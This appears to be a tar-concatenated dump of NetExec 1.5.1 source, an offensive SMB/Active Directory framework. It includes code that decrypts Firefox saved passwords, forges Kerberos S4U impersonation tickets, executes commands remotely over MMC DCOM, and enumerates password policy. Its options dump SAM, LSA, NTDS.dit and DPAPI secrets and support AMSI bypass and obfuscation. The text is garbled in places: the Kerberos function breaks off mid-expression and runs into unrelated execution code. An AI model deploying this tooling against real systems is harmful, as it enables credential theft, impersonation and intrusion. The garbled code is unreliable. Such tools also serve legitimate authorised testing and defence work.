decoded_item2 = decoder.decode(item2) cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) if cleartext_data != b"password-check\x02\x02": return "", "", "" return global_salt, master_password, entry_salt except Exception as e: self.logger.debug(e) return "", "", "" def get_users(self): users = [] users_dir_path = "Users\\*" directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) for d in directories: if d.get_longname() not in self.false_positive and d.is_directory() > 0: users.append(d.get_longname()) # noqa: PERF401, ignoring for readability return users @staticmethod def decode_login_data(data): asn1data = decoder.decode(b64decode(data)) return ( asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets(), ) @staticmethod def decrypt(key, iv, ciphertext): """ Decrypt ciphered data (user / password) using the key previously found. Supports both old format (3DES-CBC) and new Firefox 144+ format (AES-256-CBC). """ # Determine encryption method based on IV length iv_length = len(iv) # Firefox 144+ uses AES-256-CBC with 16-byte IV if iv_length == CBC_IV_LENGTH: return FirefoxTriage.decrypt_aes256_cbc(key, iv, ciphertext) # Older Firefox uses 3DES-CBC with 8-byte IV else: return FirefoxTriage.decrypt_3des_cbc(key, iv, ciphertext) @staticmethod def decrypt_aes256_cbc(key, iv, ciphertext): """Decrypt using AES-256-CBC (Firefox 144+)""" # Expand key to 32 bytes using SHA-256 if needed aes_key = key[:32] if len(key) >= 32 else sha256(key).digest() cipher = AES.new(key=aes_key, mode=AES.MODE_CBC, iv=iv) data = cipher.decrypt(ciphertext) # Remove PKCS7 padding if len(data) > 0: padding_length = data[-1] if isinstance(padding_length, str): padding_length = ord(padding_length) try: if padding_length > 0 and padding_length <= 16: return data[:-padding_length] except Exception: pass return data @staticmethod def decrypt_3des_cbc(key, iv, ciphertext): """Decrypt using 3DES-CBC (legacy Firefox)""" # 3DES requires exactly 24-byte keys - truncate if longer cipher = DES3.new(key=key[:24], mode=DES3.MODE_CBC, iv=iv) data = cipher.decrypt(ciphertext) nb = data[-1] if isinstance(nb, str): nb = ord(nb) try: return data[:-nb] except Exception: return data @staticmethod def decrypt_3des(decoded_item, master_password, global_salt): """User master key is also encrypted (if provided, the master_password could be used to encrypt it)""" # See http://www.drh-consultancy.demon.co.uk/key3.html pbeAlgo = str(decoded_item[0][0][0]) if pbeAlgo == "1.2.840.113549.1.12.5.1.3": # pbeWithSha1AndTripleDES-CBC entry_salt = decoded_item[0][0][1][0].asOctets() cipher_t = decoded_item[0][1].asOctets() # See http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(global_salt + master_password).digest() pes = entry_salt + b"\x00" * (20 - len(entry_salt)) chp = sha1(hp + entry_salt).digest() k1 = hmac.new(chp, pes + entry_salt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk + entry_salt, sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] cipher = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv) return cipher.decrypt(cipher_t) elif pbeAlgo == "1.2.840.113549.1.5.13": # pkcs5 pbes2 assert str(decoded_item[0][0][1][0][0]) == "1.2.840.113549.1.5.12" assert str(decoded_item[0][0][1][0][1][3][0]) == "1.2.840.113549.2.9" assert str(decoded_item[0][0][1][1][0]) == "2.16.840.1.101.3.4.1.42" # https://tools.ietf.org/html/rfc8018#page-23 entry_salt = decoded_item[0][0][1][0][1][0].asOctets() iteration_count = int(decoded_item[0][0][1][0][1][1]) key_length = int(decoded_item[0][0][1][0][1][2]) assert key_length == 32 k = sha1(global_salt + master_password).digest() key = pbkdf2_hmac("sha256", k, entry_salt, iteration_count, dklen=key_length) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 iv = b"\x04\x0e" + decoded_item[0][0][1][1][1].asOctets() # 04 is OCTETSTRING, 0x0e is length == 14 encrypted_value = decoded_item[0][1].asOctets() cipher = AES.new(key, AES.MODE_CBC, iv) return cipher.decrypt(encrypted_value) NetExec-1.5.1/nxc/protocols/smb/kerberos.py000066400000000000000000000264731514706431700206600ustar00rootroot00000000000000import datetime import struct import random from six import b from pyasn1.codec.der import decoder, encoder from pyasn1.type.univ import noValue from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, \ seq_set, seq_set_iter, PA_FOR_USER_ENC, Ticket as TicketAsn1, EncTGSRepPart, \ PA_PAC_OPTIONS from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5 from impacket.krb5 import constants from nxc.logger import nxc_logger def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False): my_tgt = None if use_cache: domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") if my_tgt is None: raise my_tgt = tgt["KDC_REP"] cipher = tgt["cipher"] session_key = tgt["sessionKey"] if my_tgt is None: principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) nxc_logger.debug("Getting TGT for user") tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost) my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0] decoded_tgt = my_tgt # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decoded_tgt["ticket"]) ap_req = AP_REQ() ap_req["pvno"] = 5 ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] ap_req["ap-options"] = constants.encodeFlags(opts) seq_set(ap_req, "ticket", ticket.to_asn1) authenticator = Authenticator() authenticator["authenticator-vno"] = 5 authenticator["crealm"] = str(decoded_tgt["crealm"]) client_name = Principal() client_name.from_asn1(decoded_tgt, "crealm", "cname") seq_set(authenticator, "cname", client_name.components_to_asn1) now = datetime.datetime.utcnow() authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) encoded_authenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encrypted_encoded_authenticator = cipher.encrypt(session_key, 7, encoded_authenticator, None) ap_req["authenticator"] = noValue ap_req["authenticator"]["etype"] = cipher.enctype ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator encoded_ap_req = encoder.encode(ap_req) tgs_req = TGS_REQ() tgs_req["pvno"] = 5 tgs_req["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgs_req["padata"] = noValue tgs_req["padata"][0] = noValue tgs_req["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgs_req["padata"][0]["padata-value"] = encoded_ap_req # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. client_name = Principal(impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) s4u_byte_array = struct.pack("&1" dispParams = DISPPARAMS(None, False) dispParams["rgdispidNamedArgs"] = NULL dispParams["cArgs"] = 4 dispParams["cNamedArgs"] = 0 arg0 = VARIANT(None, False) arg0["clSize"] = 5 arg0["vt"] = VARENUM.VT_BSTR arg0["_varUnion"]["tag"] = VARENUM.VT_BSTR arg0["_varUnion"]["bstrVal"]["asData"] = self.__shell arg1 = VARIANT(None, False) arg1["clSize"] = 5 arg1["vt"] = VARENUM.VT_BSTR arg1["_varUnion"]["tag"] = VARENUM.VT_BSTR arg1["_varUnion"]["bstrVal"]["asData"] = self.__pwd arg2 = VARIANT(None, False) arg2["clSize"] = 5 arg2["vt"] = VARENUM.VT_BSTR arg2["_varUnion"]["tag"] = VARENUM.VT_BSTR arg2["_varUnion"]["bstrVal"]["asData"] = command arg3 = VARIANT(None, False) arg3["clSize"] = 5 arg3["vt"] = VARENUM.VT_BSTR arg3["_varUnion"]["tag"] = VARENUM.VT_BSTR arg3["_varUnion"]["bstrVal"]["asData"] = "7" dispParams["rgvarg"].append(arg3) dispParams["rgvarg"].append(arg2) dispParams["rgvarg"].append(arg1) dispParams["rgvarg"].append(arg0) self.__executeShellCommand[0].Invoke(self.__executeShellCommand[1], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) self.get_output_remote() def output_callback(self, data): self.__outputBuffer += data def get_output_fileless(self): if not self.__retOutput: return while True: try: with open(path_join(TMP_PATH, self.__output)) as output: self.output_callback(output.read()) break except OSError: sleep(2) def get_output_remote(self): if self.__retOutput is False: self.__outputBuffer = "" return tries = 1 # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing sleep(0.4) while True: try: self.logger.info(f"Attempting to read {self.__share}\\{self.__output}") self.__smbconnection.getFile(self.__share, self.__output, self.output_callback) break except Exception as e: if tries >= self.__tries: self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method") break if "STATUS_BAD_NETWORK_NAME" in str(e): self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)") break elif "STATUS_VIRUS_INFECTED" in str(e): self.logger.fail("Command did not run because a virus was detected") break # When executing powershell and the command is still running, we get a sharing violation # We can use that information to wait longer than if the file is not found (probably av or something) if "STATUS_SHARING_VIOLATION" in str(e): self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...") tries += 10 sleep(1) else: self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...") tries += 1 sleep(1) try: self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") self.__smbconnection.deleteFile(self.__share, self.__output) except Exception: pass NetExec-1.5.1/nxc/protocols/smb/passpol.py000066400000000000000000000165741514706431700205260ustar00rootroot00000000000000# Stolen from https://github.com/Wh1t3Fox/polenum from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.dcerpc.v5 import transport, samr from nxc.logger import nxc_logger from nxc.helpers.misc import convert, d2b class PassPolDump: KNOWN_PROTOCOLS = { "139/SMB": (r"ncacn_np:%s[\pipe\samr]", 139), "445/SMB": (r"ncacn_np:%s[\pipe\samr]", 445), } def __init__(self, connection): self.logger = connection.logger self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash self.lmhash = "" self.nthash = "" self.aesKey = connection.aesKey self.doKerberos = connection.kerberos self.host = connection.host self.kdcHost = connection.kdcHost self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys() self.pass_pol = {} if self.hash is not None: if self.hash.find(":") != -1: self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash if self.password is None: self.password = "" def dump(self): # Try all requested protocols until one works. for protocol in self.protocols: try: protodef = PassPolDump.KNOWN_PROTOCOLS[protocol] port = protodef[1] except KeyError: nxc_logger.debug(f"Invalid Protocol '{protocol}'") nxc_logger.debug(f"Trying protocol {protocol}") rpctransport = transport.SMBTransport( self.addr, port, r"\samr", self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos=self.doKerberos, kdcHost=self.kdcHost, remote_host=self.host, ) try: self.fetchList(rpctransport) except Exception as e: nxc_logger.debug(f"Protocol failed: {e}") else: # Got a response. No need for further iterations. self.pretty_print() break return self.pass_pol def fetchList(self, rpctransport): dce = DCERPC_v5(rpctransport) dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) # Setup Connection resp = samr.hSamrConnect2(dce) if resp["ErrorCode"] != 0: raise Exception("Connect error") resp2 = samr.hSamrEnumerateDomainsInSamServer( dce, serverHandle=resp["ServerHandle"], enumerationContext=0, preferedMaximumLength=500, ) if resp2["ErrorCode"] != 0: raise Exception("Connect error") resp3 = samr.hSamrLookupDomainInSamServer( dce, serverHandle=resp["ServerHandle"], name=resp2["Buffer"]["Buffer"][0]["Name"], ) if resp3["ErrorCode"] != 0: raise Exception("Connect error") resp4 = samr.hSamrOpenDomain( dce, serverHandle=resp["ServerHandle"], desiredAccess=samr.MAXIMUM_ALLOWED, domainId=resp3["DomainId"], ) if resp4["ErrorCode"] != 0: raise Exception("Connect error") self.__domains = resp2["Buffer"]["Buffer"] domainHandle = resp4["DomainHandle"] # End Setup re = samr.hSamrQueryInformationDomain2( dce, domainHandle=domainHandle, domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, ) self.__min_pass_len = re["Buffer"]["Password"]["MinPasswordLength"] or "None" self.__pass_hist_len = re["Buffer"]["Password"]["PasswordHistoryLength"] or "None" self.__max_pass_age = convert( int(re["Buffer"]["Password"]["MaxPasswordAge"]["LowPart"]), int(re["Buffer"]["Password"]["MaxPasswordAge"]["HighPart"]), ) self.__min_pass_age = convert( int(re["Buffer"]["Password"]["MinPasswordAge"]["LowPart"]), int(re["Buffer"]["Password"]["MinPasswordAge"]["HighPart"]), ) self.__pass_prop = d2b(re["Buffer"]["Password"]["PasswordProperties"]) re = samr.hSamrQueryInformationDomain2( dce, domainHandle=domainHandle, domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation, ) self.__rst_accnt_lock_counter = convert(0, re["Buffer"]["Lockout"]["LockoutObservationWindow"], lockout=True) self.__lock_accnt_dur = convert(0, re["Buffer"]["Lockout"]["LockoutDuration"], lockout=True) self.__accnt_lock_thres = re["Buffer"]["Lockout"]["LockoutThreshold"] or "None" re = samr.hSamrQueryInformationDomain2( dce, domainHandle=domainHandle, domainInformationClass=samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation, ) self.__force_logoff_time = convert( re["Buffer"]["Logoff"]["ForceLogoff"]["LowPart"], re["Buffer"]["Logoff"]["ForceLogoff"]["HighPart"], ) self.pass_pol = { "min_pass_len": self.__min_pass_len, "pass_hist_len": self.__pass_hist_len, "max_pass_age": self.__max_pass_age, "min_pass_age": self.__min_pass_age, "pass_prop": self.__pass_prop, "rst_accnt_lock_counter": self.__rst_accnt_lock_counter, "lock_accnt_dur": self.__lock_accnt_dur, "accnt_lock_thres": self.__accnt_lock_thres, "force_logoff_time": self.__force_logoff_time, } dce.disconnect() def pretty_print(self): PASSCOMPLEX = { 5: "Domain Password Complex:", 4: "Domain Password No Anon Change:", 3: "Domain Password No Clear Change:", 2: "Domain Password Lockout Admins:", 1: "Domain Password Store Cleartext:", 0: "Domain Refuse Password Change:", } nxc_logger.debug("Found domain(s):") for domain in self.__domains: nxc_logger.debug(f"{domain['Name']}") self.logger.success(f"Dumping password info for domain: {self.__domains[0]['Name']}") self.logger.highlight(f"Minimum password length: {self.__min_pass_len}") self.logger.highlight(f"Password history length: {self.__pass_hist_len}") self.logger.highlight(f"Maximum password age: {self.__max_pass_age}") self.logger.highlight("") self.logger.highlight(f"Password Complexity Flags: {self.__pass_prop or 'None'}") for i, a in enumerate(self.__pass_prop): self.logger.highlight(f"\t{PASSCOMPLEX[i]} {a!s}") self.logger.highlight("") self.logger.highlight(f"Minimum password age: {self.__min_pass_age}") self.logger.highlight(f"Reset Account Lockout Counter: {self.__rst_accnt_lock_counter}") self.logger.highlight(f"Locked Account Duration: {self.__lock_accnt_dur}") self.logger.highlight(f"Account Lockout Threshold: {self.__accnt_lock_thres}") self.logger.highlight(f"Forced Log off Time: {self.__force_logoff_time}") NetExec-1.5.1/nxc/protocols/smb/proto_args.py000066400000000000000000000301671514706431700212160ustar00rootroot00000000000000from argparse import _StoreTrueAction, _StoreAction from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction, get_conditional_action def proto_args(parser, parents): smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone) smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy") delegate_spn_arg = smb_parser.add_argument("--delegate-spn", action=get_conditional_action(_StoreAction), make_required=[], help="SPN to use for S4U2Proxy, if not specified the SPN used will be cifs/", type=str) generate_st = smb_parser.add_argument("--generate-st", type=str, dest="generate_st", action=get_conditional_action(_StoreAction), make_required=[], help="Store the S4U Service Ticket in the specified file") self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)") dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target") smb_parser.add_argument("--port", type=int, default=445, help="SMB port") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection") smb_parser.add_argument("--no-admin-check", action="store_true", help="Avoid checking admin which queries the Service Control Manager") smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2) smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator") smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP") smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP") smb_parser.add_argument("--generate-tgt", type=str, help="Generate a tgt ticket") self_delegate_arg.make_required = [delegate_arg] generate_st.make_required = [delegate_arg] delegate_spn_arg.make_required = [delegate_arg] cred_gathering_group = smb_parser.add_argument_group("Credential Gathering") cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems") cred_gathering_group.add_argument("--lsa", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump LSA secrets from target systems") ntds_arg = cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method") # NTDS options kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)") exclusive = cred_gathering_group.add_mutually_exclusive_group() history_arg = exclusive.add_argument("--history", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also retrieve password history from target DC (NTDS.dit)") enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)") kerb_keys_arg.make_required = [ntds_arg] history_arg.make_required = [ntds_arg] enabled_arg.make_required = [ntds_arg] cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)") cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems") cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)") mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--shares", type=str, nargs="?", const="", help="Enumerate shares and access, filter on specified argument (read ; write ; read,write)") mapping_enum_group.add_argument("--exclude-shares", nargs="+", help="List of shares to exclude from enumeration (e.g., C$ Admin$ IPC$)") mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')") mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces") mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)") mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'READ' 'WRITE' or 'READ,WRITE'") mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks") mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.") mapping_enum_group.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="Enumerate domain groups, if a group is specified than its members are Enumerated") mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated") mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users") mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="Enumerate users by bruteforcing RIDs") mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="Enumerate active smb sessions") mapping_enum_group.add_argument("--reg-sessions", type=str, nargs="?", const="", help="Enumerate users sessions using the Remote Registry. If a username is given, filter for it. If a file is given, filter for listed usernames. If no value is given, list all.") mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.") mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex") mapping_enum_group.add_argument("--qwinsta", type=str, nargs="?", const="", help="Enumerate user sessions. If a username is given, filter for it; if a file is given, filter for listed usernames. If no value is given, list all.") mapping_enum_group.add_argument("--tasklist", type=str, nargs="?", const=True, help="Enumerate running processes and filter for the specified one if specified") mapping_enum_group.add_argument("--taskkill", type=str, help="Kills a specific PID or a proces name's PID's") wmi_group = smb_parser.add_argument_group("WMI Queries") wmi_group.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query") wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace (default: %(default)s)") spidering_group = smb_parser.add_argument_group("Spidering Shares") spidering_group.add_argument("--spider", metavar="SHARE", type=str, help="share to spider") spidering_group.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider") spidering_group.add_argument("--content", action="store_true", help="enable file content searching") spidering_group.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering") spidering_group.add_argument("--depth", type=int, help="max spider recursion depth") spidering_group.add_argument("--only-files", action="store_true", help="only spider files") spidering_group.add_argument("--silent", action="store_true", help="Do not print found files/directories", default=False) segroup = spidering_group.add_mutually_exclusive_group() segroup.add_argument("--pattern", nargs="+", help="pattern(s) to search for in folders, filenames and file content") segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content") files_group = smb_parser.add_argument_group("File Operations") files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt") files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt") files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename") cmd_exec_group = smb_parser.add_argument_group("Command Execution") cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction) cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5) cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10) cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec") cmd_exec_group.add_argument("--no-output", action="store_true", help="do not retrieve command output") cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group() cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command") cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command") posh_group = smb_parser.add_argument_group("Powershell Script Obfuscation") posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts") posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass") posh_group.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts") posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)") posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target") return parser NetExec-1.5.1/nxc/protocols/smb/remotefile.py000066400000000000000000000027321514706431700211670ustar00rootroot00000000000000from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA class RemoteFile: def __init__( self, smbConnection, fileName, share="ADMIN$", access=FILE_READ_DATA | FILE_WRITE_DATA, ): self.__smbConnection = smbConnection self.__share = share self.__access = access self.__fileName = fileName self.__tid = self.__smbConnection.connectTree(share) self.__fid = None self.__currentOffset = 0 def open_file(self): self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=self.__access) def seek(self, offset, whence): # Implement whence, for now it's always from the beginning of the file if whence == 0: self.__currentOffset = offset def read(self, bytesToRead): if bytesToRead > 0: data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) self.__currentOffset += len(data) return data return "" def close(self): if self.__fid is not None: self.__smbConnection.closeFile(self.__tid, self.__fid) self.__fid = None def delete(self): self.__smbConnection.deleteFile(self.__share, self.__fileName) def tell(self): return self.__currentOffset def __str__(self): return f"\\\\{self.__smbConnection.getRemoteHost()}\\{self.__share}\\{self.__fileName}" NetExec-1.5.1/nxc/protocols/smb/samrfunc.py000066400000000000000000000245171514706431700206570ustar00rootroot00000000000000# Majorly stolen from https://gist.github.com/ropnop/7a41da7aabb8455d0898db362335e139 # Which in turn stole from Impacket :) # Code refactored and added to by @mjhallenbeck (Marshall-Hallenbeck on GitHub) from impacket.dcerpc.v5 import transport, lsat, lsad, samr from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE from impacket.nmb import NetBIOSError from impacket.smbconnection import SessionError class SamrFunc: def __init__(self, connection): self.logger = connection.logger self.addr = connection.host self.remote_name = connection.remoteName self.protocol = connection.args.port self.username = connection.username self.password = connection.password self.domain = connection.domain self.hash = connection.hash self.lmhash = connection.lmhash self.nthash = connection.nthash self.aesKey = connection.aesKey self.doKerberos = connection.kerberos self.kdcHost = connection.kdcHost self.host = connection.host if self.hash is not None: if self.hash.find(":") != -1: self.lmhash, self.nthash = self.hash.split(":") else: self.nthash = self.hash if self.password is None: self.password = "" self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.remote_name, remote_host=self.host, lmhash=self.lmhash, nthash=self.nthash, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, logger=self.logger) self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.remote_name, remote_host=self.host, lmhash=self.lmhash, nthash=self.nthash, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger) def get_builtin_groups(self, group): domains = self.samr_query.get_domains() members = {} if "Builtin" not in domains: self.logger.error("No Builtin group to query locally on") return None domain_handle = self.samr_query.get_domain_handle("Builtin") builtin_groups = self.samr_query.get_domain_aliases(domain_handle, group) if group: members = self.get_local_users(builtin_groups, domain_handle) return builtin_groups, members def get_custom_groups(self, group=None): domains = self.samr_query.get_domains() custom_groups = {} members = {} for domain in domains: if domain == "Builtin": continue domain_handle = self.samr_query.get_domain_handle(domain) custom_groups.update(self.samr_query.get_domain_aliases(domain_handle, group)) if group: members = self.get_local_users(custom_groups, domain_handle) return custom_groups, members def get_local_groups(self, group=None): if group: self.logger.display(f"Querying group: {group}") builtin_groups, builtin_groups_members = self.get_builtin_groups(group) custom_groups, custom_groups_members = self.get_custom_groups(group) return {**builtin_groups, **custom_groups}, builtin_groups_members | custom_groups_members def get_local_users(self, group, domain_handle): users = {} try: for alias_id in group.values(): member_sids = self.samr_query.get_alias_members(domain_handle, alias_id) member_names = self.lsa_query.lookup_sids(member_sids) users = dict(zip(member_sids, member_names, strict=True)) except Exception as e: self.logger.debug(f"Error enumerating users in {group}: {e}") return {} return users class SAMRQuery: def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", lmhash="", nthash="", kerberos=None, kdcHost="", aesKey="", logger=None): self.__username = username self.__password = password self.__domain = domain self.__lmhash = lmhash self.__nthash = nthash self.__aesKey = aesKey self.__port = port self.__remote_name = remote_name self.__remote_host = remote_host self.__kerberos = kerberos self.__kdcHost = kdcHost self.logger = logger self.dce = self.get_dce() self.server_handle = self.get_server_handle() def get_transport(self): string_binding = rf"ncacn_np:{self.__port}[\pipe\samr]" self.logger.debug(f"Binding to {string_binding}") # using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr' return transport.SMBTransport( self.__remote_name, self.__port, r"\samr", self.__username, self.__password, self.__domain, self.__lmhash, 